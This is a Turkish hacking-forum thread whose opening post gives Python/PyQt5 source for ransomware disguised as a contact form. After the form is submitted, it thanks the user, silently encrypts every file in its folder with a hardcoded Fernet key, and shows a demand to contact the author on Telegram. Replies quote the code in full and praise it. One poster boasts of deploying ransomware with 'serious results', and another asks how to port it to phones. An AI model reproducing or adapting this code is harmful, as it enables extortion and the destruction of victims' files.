Python ile Sinsi İletişim Formu

ByFelez

Uzman üye
9 Tem 2013
1,818
1,774
Arkadaşlar Selamın Aleyküm.

Bu konuda Python ile Sinsi bir iletişim penceresi kodlayacağız.

Bu Pencere Kullanıcı Gerekli alanları doldurup butona tıkladığında, mesajın sözde başarılı şekilde gönderildiğine dair bir uyarı gösterecek ardından arkaplanda program bulunduğu dizinde ki bütün dosyaları şifreleyecek.

Şifreleme işlemi bittiğinde ise Bizimle İletişime Geçmen Gerekiyor içerikli bir uyarı penceresi gösteriyor.

Şifreleme işlemi yapılırken sistem Ram oranının %15'i kullanılarak iş parçacıkları görevlendiriliyor.


Hadi Bakalım ;


Python:
import os
import sys
import threading
from PyQt5.QtWidgets import QApplication, QWidget, QLabel, QLineEdit, QVBoxLayout, QFormLayout, QPushButton, QTextEdit, QMessageBox
from PyQt5.QtGui import QPixmap
from PyQt5.QtCore import QCoreApplication
from cryptography.fernet import Fernet

class MyForm(QWidget):
    def __init__(self):
        super().__init__()

        self.key = b'8J3pBvdf-gGFTsA0p1wj5YLCfqKuNfbNXFQGuzUKD0o='
        self.cipher_suite = Fernet(self.key)

        self.init_ui()

        label_ad_soyad = QLabel('Ad-Soyad:', self)
        self.edit_ad_soyad = QLineEdit(self)
        self.edit_ad_soyad.setPlaceholderText('Adınız ve Soyadınızı Giriniz')

        label_telefon = QLabel('Telefon Numarası:', self)
        self.edit_telefon = QLineEdit(self)
        self.edit_telefon.setPlaceholderText('Telefon Numaranızı Giriniz')

        label_email = QLabel('E-Posta:', self)
        self.edit_email = QLineEdit(self)
        self.edit_email.setPlaceholderText('E-Posta Adresinizi Giriniz')

        label_message = QLabel('Mesajınız:', self)
        self.edit_message = QTextEdit(self)
        self.edit_message.setPlaceholderText('Mesajınızı Giriniz')

        btn_submit = QPushButton('Gönder', self)
        btn_submit.clicked.connect(self.on_submit)

        layout = QFormLayout()
        layout.addRow(label_ad_soyad, self.edit_ad_soyad)
        layout.addRow(label_telefon, self.edit_telefon)
        layout.addRow(label_email, self.edit_email)
        layout.addRow(label_message, self.edit_message)
        layout.addWidget(btn_submit)

        for label in [label_ad_soyad, label_telefon, label_email, label_message]:
            label.setStyleSheet('background-color: rgba(255, 255, 255, 150);')

        for edit_widget in [self.edit_ad_soyad, self.edit_telefon, self.edit_email, self.edit_message]:
            edit_widget.setStyleSheet('background-color: rgba(255, 255, 255, 150);')

        main_layout = QVBoxLayout(self)
        main_layout.addLayout(layout)

        self.setWindowTitle('İletişim Formu')
        desktop = QCoreApplication.instance().desktop()
        screen_rect = desktop.screenGeometry(desktop.primaryScreen())
        self.setGeometry(
            screen_rect.width() // 2 - 250,
            screen_rect.height() // 2 - 250,
            500,
            500
        )

        self.show()

    def on_submit(self):
        ad_soyad = self.edit_ad_soyad.text()
        telefon = self.edit_telefon.text()
        email = self.edit_email.text()
        message = self.edit_message.toPlainText()

        if ad_soyad and telefon and email and message:
            self.show_uyari_penceresi()
            threading.Thread(target=self.sifrele_dosyalari).start()
        else:
            QMessageBox.warning(self, 'Hata', 'Lütfen tüm gerekli alanları doldurun.')

    def sifrele_dosyalari(self):
        for filename in os.listdir('.'):
            if os.path.isfile(filename):
                with open(filename, 'rb') as file:
                    plain_text = file.read()

                cipher_text = self.cipher_suite.encrypt(plain_text)

                with open(filename, 'wb') as file:
                    file.write(cipher_text)

    def show_uyari_penceresi(self):
        uyari_penceresi = QMessageBox(self)
        uyari_penceresi.setIcon(QMessageBox.Information)
        uyari_penceresi.setWindowTitle('Teşekkürler!')
        uyari_penceresi.setText('İletişime geçtiğiniz için teşekkürler!')

        uyari_penceresi.exec_()

        uyari_penceresi_critical = QMessageBox(self)
        uyari_penceresi_critical.setIcon(QMessageBox.Critical)
        uyari_penceresi_critical.setWindowTitle('KRİTİK!')
        uyari_penceresi_critical.setText('Bizimle İletişime Geçmen Gerekiyor !\nTelegram: felez_tr')

        uyari_penceresi_critical.exec_()

if __name__ == '__main__':
    app = QApplication(sys.argv)
    form = MyForm()
    sys.exit(app.exec_())


kr7nevf.png


Sanal Makidan ekran görüntüsü alınırken siyah ekranda kalıyordu bende uğraşmadım. Siz deneyebilirsiniz sanal makinada isterseniz.
VT : VirusTotal

 
Son düzenleme:

drjacob

Uzman üye
21 Ocak 2012
1,775
403
localhost
Arkadaşlar Selamın Aleyküm.

Bu konuda Python ile Sinsi bir iletişim penceresi kodlayacağız.

Bu Pencere Kullanıcı Gerekli alanları doldurup butona tıkladığında, mesajın sözde başarılı şekilde gönderildiğine dair bir uyarı gösterecek ardından arkaplanda program bulunduğu dizinde ki bütün dosyaları şifreleyecek.

Şifreleme işlemi bittiğinde ise Bizimle İletişime Geçmen Gerekiyor içerikli bir uyarı penceresi gösteriyor.

Şifreleme işlemi yapılırken sistem Ram oranının %15'i kullanılarak iş parçacıkları görevlendiriliyor.


Hadi Bakalım ;


Python:
import os
import sys
import threading
from PyQt5.QtWidgets import QApplication, QWidget, QLabel, QLineEdit, QVBoxLayout, QFormLayout, QPushButton, QTextEdit, QMessageBox
from PyQt5.QtGui import QPixmap
from PyQt5.QtCore import QCoreApplication
from cryptography.fernet import Fernet

class MyForm(QWidget):
    def __init__(self):
        super().__init__()

        self.key = b'8J3pBvdf-gGFTsA0p1wj5YLCfqKuNfbNXFQGuzUKD0o='
        self.cipher_suite = Fernet(self.key)

        self.init_ui()

        label_ad_soyad = QLabel('Ad-Soyad:', self)
        self.edit_ad_soyad = QLineEdit(self)
        self.edit_ad_soyad.setPlaceholderText('Adınız ve Soyadınızı Giriniz')

        label_telefon = QLabel('Telefon Numarası:', self)
        self.edit_telefon = QLineEdit(self)
        self.edit_telefon.setPlaceholderText('Telefon Numaranızı Giriniz')

        label_email = QLabel('E-Posta:', self)
        self.edit_email = QLineEdit(self)
        self.edit_email.setPlaceholderText('E-Posta Adresinizi Giriniz')

        label_message = QLabel('Mesajınız:', self)
        self.edit_message = QTextEdit(self)
        self.edit_message.setPlaceholderText('Mesajınızı Giriniz')

        btn_submit = QPushButton('Gönder', self)
        btn_submit.clicked.connect(self.on_submit)

        layout = QFormLayout()
        layout.addRow(label_ad_soyad, self.edit_ad_soyad)
        layout.addRow(label_telefon, self.edit_telefon)
        layout.addRow(label_email, self.edit_email)
        layout.addRow(label_message, self.edit_message)
        layout.addWidget(btn_submit)

        for label in [label_ad_soyad, label_telefon, label_email, label_message]:
            label.setStyleSheet('background-color: rgba(255, 255, 255, 150);')

        for edit_widget in [self.edit_ad_soyad, self.edit_telefon, self.edit_email, self.edit_message]:
            edit_widget.setStyleSheet('background-color: rgba(255, 255, 255, 150);')

        main_layout = QVBoxLayout(self)
        main_layout.addLayout(layout)

        self.setWindowTitle('İletişim Formu')
        desktop = QCoreApplication.instance().desktop()
        screen_rect = desktop.screenGeometry(desktop.primaryScreen())
        self.setGeometry(
            screen_rect.width() // 2 - 250,
            screen_rect.height() // 2 - 250,
            500,
            500
        )

        self.show()

    def on_submit(self):
        ad_soyad = self.edit_ad_soyad.text()
        telefon = self.edit_telefon.text()
        email = self.edit_email.text()
        message = self.edit_message.toPlainText()

        if ad_soyad and telefon and email and message:
            self.show_uyari_penceresi()
            threading.Thread(target=self.sifrele_dosyalari).start()
        else:
            QMessageBox.warning(self, 'Hata', 'Lütfen tüm gerekli alanları doldurun.')

    def sifrele_dosyalari(self):
        for filename in os.listdir('.'):
            if os.path.isfile(filename):
                with open(filename, 'rb') as file:
                    plain_text = file.read()

                cipher_text = self.cipher_suite.encrypt(plain_text)

                with open(filename, 'wb') as file:
                    file.write(cipher_text)

    def show_uyari_penceresi(self):
        uyari_penceresi = QMessageBox(self)
        uyari_penceresi.setIcon(QMessageBox.Information)
        uyari_penceresi.setWindowTitle('Teşekkürler!')
        uyari_penceresi.setText('İletişime geçtiğiniz için teşekkürler!')

        uyari_penceresi.exec_()

        uyari_penceresi_critical = QMessageBox(self)
        uyari_penceresi_critical.setIcon(QMessageBox.Critical)
        uyari_penceresi_critical.setWindowTitle('KRİTİK!')
        uyari_penceresi_critical.setText('Bizimle İletişime Geçmen Gerekiyor !\nTelegram: felez_tr')

        uyari_penceresi_critical.exec_()

if __name__ == '__main__':
    app = QApplication(sys.argv)
    form = MyForm()
    sys.exit(app.exec_())


kr7nevf.png


Sanal Makidan ekran görüntüsü alınırken siyah ekranda kalıyordu bende uğraşmadım. Siz deneyebilirsiniz sanal makinada isterseniz.
VT : VirusTotal

eline sağlık hocam
 

Klaxxon

Katılımcı Üye
5 Şub 2022
774
783
Decrypt yapmadım program aslında normal standart bir exe dosyası olarak çalışıyor kodlarda da gözüktüğü üzere zararlı yazılım gibi değil. Ancak amacı belli
gülüm fernet çok güçlü bir şifreleme türüdür çok sağlam çalışır bunu ben ransomware kodladım ve ciddi sonuçlar elde ettim kişi benim vereceğim key olmadan bilgisayarındaki dosyalarını açamaz sadece benim decrypt toolum ve ona vereceğim key ile açabiliyordu dosyaları başka decrypterlar bunu decode edemiyor yani sen şifrelemissin ama decrypt için key almamışsın onu almazsan onu sen dahil kimse açamaz :)
 

ByFelez

Uzman üye
9 Tem 2013
1,818
1,774
gülüm fernet çok güçlü bir şifreleme türüdür çok sağlam çalışır bunu ben ransomware kodladım ve ciddi sonuçlar elde ettim kişi benim vereceğim key olmadan bilgisayarındaki dosyalarını açamaz sadece benim decrypt toolum ve ona vereceğim key ile açabiliyordu dosyaları başka decrypterlar bunu decode edemiyor yani sen şifrelemissin ama decrypt için key almamışsın onu almazsan onu sen dahil kimse açamaz :)
Ransomware tarafında yeni olmanın da verdiği acemilikle bu yorum için çok teşekkürler gülüm 🌹
 

bqtw

Üye
22 May 2023
166
41
Arkadaşlar Selamın Aleyküm.

Bu konuda Python ile Sinsi bir iletişim penceresi kodlayacağız.

Bu Pencere Kullanıcı Gerekli alanları doldurup butona tıkladığında, mesajın sözde başarılı şekilde gönderildiğine dair bir uyarı gösterecek ardından arkaplanda program bulunduğu dizinde ki bütün dosyaları şifreleyecek.

Şifreleme işlemi bittiğinde ise Bizimle İletişime Geçmen Gerekiyor içerikli bir uyarı penceresi gösteriyor.

Şifreleme işlemi yapılırken sistem Ram oranının %15'i kullanılarak iş parçacıkları görevlendiriliyor.


Hadi Bakalım ;


Python:
import os
import sys
import threading
from PyQt5.QtWidgets import QApplication, QWidget, QLabel, QLineEdit, QVBoxLayout, QFormLayout, QPushButton, QTextEdit, QMessageBox
from PyQt5.QtGui import QPixmap
from PyQt5.QtCore import QCoreApplication
from cryptography.fernet import Fernet

class MyForm(QWidget):
    def __init__(self):
        super().__init__()

        self.key = b'8J3pBvdf-gGFTsA0p1wj5YLCfqKuNfbNXFQGuzUKD0o='
        self.cipher_suite = Fernet(self.key)

        self.init_ui()

        label_ad_soyad = QLabel('Ad-Soyad:', self)
        self.edit_ad_soyad = QLineEdit(self)
        self.edit_ad_soyad.setPlaceholderText('Adınız ve Soyadınızı Giriniz')

        label_telefon = QLabel('Telefon Numarası:', self)
        self.edit_telefon = QLineEdit(self)
        self.edit_telefon.setPlaceholderText('Telefon Numaranızı Giriniz')

        label_email = QLabel('E-Posta:', self)
        self.edit_email = QLineEdit(self)
        self.edit_email.setPlaceholderText('E-Posta Adresinizi Giriniz')

        label_message = QLabel('Mesajınız:', self)
        self.edit_message = QTextEdit(self)
        self.edit_message.setPlaceholderText('Mesajınızı Giriniz')

        btn_submit = QPushButton('Gönder', self)
        btn_submit.clicked.connect(self.on_submit)

        layout = QFormLayout()
        layout.addRow(label_ad_soyad, self.edit_ad_soyad)
        layout.addRow(label_telefon, self.edit_telefon)
        layout.addRow(label_email, self.edit_email)
        layout.addRow(label_message, self.edit_message)
        layout.addWidget(btn_submit)

        for label in [label_ad_soyad, label_telefon, label_email, label_message]:
            label.setStyleSheet('background-color: rgba(255, 255, 255, 150);')

        for edit_widget in [self.edit_ad_soyad, self.edit_telefon, self.edit_email, self.edit_message]:
            edit_widget.setStyleSheet('background-color: rgba(255, 255, 255, 150);')

        main_layout = QVBoxLayout(self)
        main_layout.addLayout(layout)

        self.setWindowTitle('İletişim Formu')
        desktop = QCoreApplication.instance().desktop()
        screen_rect = desktop.screenGeometry(desktop.primaryScreen())
        self.setGeometry(
            screen_rect.width() // 2 - 250,
            screen_rect.height() // 2 - 250,
            500,
            500
        )

        self.show()

    def on_submit(self):
        ad_soyad = self.edit_ad_soyad.text()
        telefon = self.edit_telefon.text()
        email = self.edit_email.text()
        message = self.edit_message.toPlainText()

        if ad_soyad and telefon and email and message:
            self.show_uyari_penceresi()
            threading.Thread(target=self.sifrele_dosyalari).start()
        else:
            QMessageBox.warning(self, 'Hata', 'Lütfen tüm gerekli alanları doldurun.')

    def sifrele_dosyalari(self):
        for filename in os.listdir('.'):
            if os.path.isfile(filename):
                with open(filename, 'rb') as file:
                    plain_text = file.read()

                cipher_text = self.cipher_suite.encrypt(plain_text)

                with open(filename, 'wb') as file:
                    file.write(cipher_text)

    def show_uyari_penceresi(self):
        uyari_penceresi = QMessageBox(self)
        uyari_penceresi.setIcon(QMessageBox.Information)
        uyari_penceresi.setWindowTitle('Teşekkürler!')
        uyari_penceresi.setText('İletişime geçtiğiniz için teşekkürler!')

        uyari_penceresi.exec_()

        uyari_penceresi_critical = QMessageBox(self)
        uyari_penceresi_critical.setIcon(QMessageBox.Critical)
        uyari_penceresi_critical.setWindowTitle('KRİTİK!')
        uyari_penceresi_critical.setText('Bizimle İletişime Geçmen Gerekiyor !\nTelegram: felez_tr')

        uyari_penceresi_critical.exec_()

if __name__ == '__main__':
    app = QApplication(sys.argv)
    form = MyForm()
    sys.exit(app.exec_())


kr7nevf.png


Sanal Makidan ekran görüntüsü alınırken siyah ekranda kalıyordu bende uğraşmadım. Siz deneyebilirsiniz sanal makinada isterseniz.
VT : VirusTotal

Eline sağlık gayet başarılı duruyor merak ettiğim bir şey var
Bunu Telefonlar için uyarlayabilirmiyiz
Çoğu Mobil Python editoru böyle sayfa açılmasına izin vermiyor çünkü
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.